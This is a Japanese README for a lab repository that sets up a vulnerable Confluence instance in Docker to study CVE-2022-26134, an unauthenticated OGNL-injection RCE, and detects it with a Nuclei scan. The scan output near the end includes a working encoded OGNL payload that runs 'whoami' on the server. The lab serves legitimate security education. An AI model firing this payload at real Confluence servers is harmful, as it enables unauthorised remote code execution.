CVE-2022-26134-LAB
Confluence Server および Confluence Data Center には、CVE-2022-26134 として識別される重大な未認証リモートコード実行の脆弱性が含まれています。これは、2022年6月2日にAtlassianが公開したセキュリティアドバイザリによるものです。この脆弱性は公開時点ではパッチが提供されておらず、実際に悪用されていました。6月3日時点では、パッチと一時的な回避策の両方が利用可能です。
このリポジトリは実験および教育目的のみを対象としています。
依存関係
脆弱なConfluence環境
脆弱な環境の実行
docker-compose up
起動後、次のURLでConfluenceサーバーにアクセスできます。
http://127.0.0.1:8090/
Confluence Serverのセットアップ
- 初回アクセス時にセットアップが開始されます。
- 「Get apps」ページでチェックボックスは選択せず、「Next」をクリックします。
- ライセンスキーのページで、「Get an evaluation license」と書かれたリンクをクリックします。
- my.atlassian.com にリダイレクトされます。ライセンスの種類が Confluence (Data Center) に設定されていることを確認します。任意の組織名を入力します。「Your instance is」のラジオボタンが「up and running」に選択されていることを確認します。これらの詳細を確認したら、「Generate License」ボタンをクリックします。
- 確認モーダルが表示され、サーバー 127.0.0.1 にインストールするかどうか尋ねられます。「Yes」を選択します。
- Yes を選択すると、ローカルのConfluenceインスタンスにライセンスキーが自動入力されます。「Next」を選択します。
- デプロイタイプとして「Standalone」を選択し、「Next」を選択します。
- データベース設定のページで、以下のように詳細を入力します。
- Database type: PostgreSQL
- Setup type: Simple
- Hostname: db
- Port: 5432
- Database name: confluence
- Username: confluence
- Password: 123456789
- これらのフィールドを入力後、「Test connection」ボタンを押します。「Success! Database connected successfully」というメッセージが表示されるはずです。その後、「Next」をクリックします。
- データベースの設定が開始されます。しばらく時間がかかる場合がありますので、お待ちください。
- データベースのセットアップが完了すると、「Load Content」ページが表示されます。「Example Site」ボタンを選択します。
- 次の「Configure User Management」ページで、「Manage users and groups with Confluence」を選択します。
- 次の「Configure System Administrator Account」ページでアカウントを作成し、「Next」を選択します。
- 完了すると、セットアップが成功したことが表示されます。「Start」を押します。
- 作業を保存するためのスペースを作成するよう求められます。任意のスペース名を入力します。
- チュートリアルをスキップします。
- Confluence Server の評価セットアップが完了しました。
CVE-2022-26134 の検出
この脆弱性は、HTTPサーバーに影響を与えるOGNLインジェクション脆弱性です。OGNLペイロードはHTTPリクエストのURIに配置されます。有効なHTTPメソッド(GET、POST、PUTなど)でも、無効なメソッド(例:“BALH”)でも、あらゆる種類のHTTPメソッドが機能するようです。
https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
Nuclei の使用
次のNucleiコマンドを実行します:
nuclei -u http://127.0.0.1:8090 -t nuclei-templates/cves/2022/CVE-2022-26134.yaml
スキャン出力
[CVE-2022-26134] [http] [critical] http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ [confluence]